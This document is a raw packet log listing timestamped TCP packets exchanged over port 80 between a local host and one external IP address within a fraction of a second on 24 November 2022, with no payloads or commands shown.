Nov 24, 2022 13:27:53.254317999 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.254321098 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.254340887 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.254348040 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.254363060 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.254375935 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.254388094 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.254403114 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.254430056 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.254440069 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.254456043 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.254467964 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.254483938 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.254498959 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.254511118 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.254539967 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.254545927 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.254565001 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.254580975 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.254663944 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.254713058 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.254739046 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.254741907 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.254755974 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.254766941 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.254785061 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.254790068 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.254808903 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.254815102 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.254832029 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.254837990 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.254853964 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.254859924 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.254894018 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.254894018 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.254897118 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.254919052 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.254942894 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.254960060 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.254992008 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.255108118 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.255136013 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.255162954 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.255178928 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.255191088 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.255203009 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.255218029 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.255232096 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.255244970 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.255255938 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.255271912 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.255283117 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.255300045 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.255311966 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.255326986 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.255337000 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.255353928 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.255364895 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.255381107 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.255389929 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.255407095 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.255418062 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.255434036 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.255445004 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.255460978 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.255474091 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.255486965 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.255500078 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.255512953 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.255525112 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.255539894 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.255549908 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.255564928 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.255578041 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.255589008 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.255613089 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.255615950 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.255636930 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.255636930 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.255654097 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.255661964 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.255686045 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.255686998 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.255708933 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.255712986 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.255723000 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.255733013 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.255750895 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.255757093 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.255779982 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.255779982 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.255793095 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.255803108 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.255824089 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.255825043 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.255841970 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.255847931 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.255870104 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.255871058 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.255892038 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.255897045 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.255913973 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.255917072 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.255929947 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.255943060 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.255960941 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.255979061 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.272265911 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.272303104 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.272329092 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.272355080 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.272377968 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.272382975 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.272448063 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.272579908 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.272610903 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.272639990 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.272663116 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.272666931 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.272680044 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.272696018 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.272722006 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.272722960 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.272741079 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.272753954 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.272777081 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.272783041 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.272810936 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.272821903 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.272840023 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.272851944 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.272867918 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.272881985 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.272895098 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.272922039 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.272924900 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.272934914 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.272952080 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.272978067 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.272981882 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.273001909 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.273010015 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.273020029 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.273040056 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.273066998 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.273080111 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.273092985 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.273108006 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.273117065 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.273133993 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.273144007 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.273154020 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.273170948 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.273183107 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.273197889 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.273211002 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.273221970 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.273236036 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.273246050 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.273258924 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.273271084 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.273283005 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.273296118 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.273308039 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.273320913 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.273334026 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.273351908 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.273359060 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.273381948 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.273391008 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.273411989 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.273418903 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.273441076 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.273452044 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.273471117 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.273478985 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.273500919 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.273509026 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.273530006 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.273550034 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.273560047 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.273566961 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.273588896 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.273596048 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.273617983 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.273627043 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.273647070 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.273663044 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.273675919 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.273684025 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.273705959 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.273719072 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.273735046 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.273742914 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.273763895 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.273772955 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.273792028 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.273801088 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.273823023 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.273839951 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.273849010 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.273859024 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.273876905 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.273885965 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.273902893 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.273912907 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.273931026 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.273938894 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.273956060 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.273967981 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.273983955 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.273996115 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.274008036 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.274019003 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.274033070 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.274044037 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.274055004 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.274068117 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.274080992 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.274090052 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.274105072 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.274120092 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.274130106 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.274141073 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.274156094 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.274164915 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.274187088 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.274199009 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.274214029 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.274224043 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.274244070 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.274251938 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.274271965 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.274282932 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.274302006 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.274311066 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.274329901 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.274342060 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.274358988 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.274370909 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.274388075 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.274398088 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.274416924 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.274426937 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.274446011 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.274461031 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.274475098 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.274496078 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.274503946 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.274513960 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.274532080 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.274543047 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.274561882 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.274569035 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.274590969 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.274596930 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.274617910 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.274636030 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.274646044 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.274653912 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.274671078 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.274688005 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.274696112 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.274704933 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.274719000 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.274729967 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.274744034 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.274755001 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.274770021 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.274780035 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.274794102 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.274807930 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.274816990 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.274832010 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.274841070 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.274854898 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.274863005 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.274873972 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.274912119 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.274913073 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.274943113 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.274971008 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.274998903 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.275001049 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.275015116 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.275031090 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.275043964 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.275058985 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.275068045 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.275089025 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.275095940 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.275115967 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.275139093 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.275146008 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.275155067 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.275173903 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.275182009 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.275202036 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.275209904 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.275233030 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.275259972 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.275280952 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.275286913 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.275321960 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.275331020 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.275348902 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.275365114 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.275378942 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.275392056 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.275404930 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.275424004 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.275429010 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.275454044 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.275468111 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.275480032 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.275502920 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.275516987 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.275527954 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.275546074 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.275554895 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.275579929 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.275585890 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.275604963 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.275610924 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.275628090 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.275631905 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.275651932 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.275654078 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.275666952 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.275680065 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.275702000 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.275707960 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.275719881 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.275734901 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.275752068 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.275763035 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.275772095 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.275789022 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.275818110 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.275818110 CET	49702	80	192.168.2.4	66.235.200.147
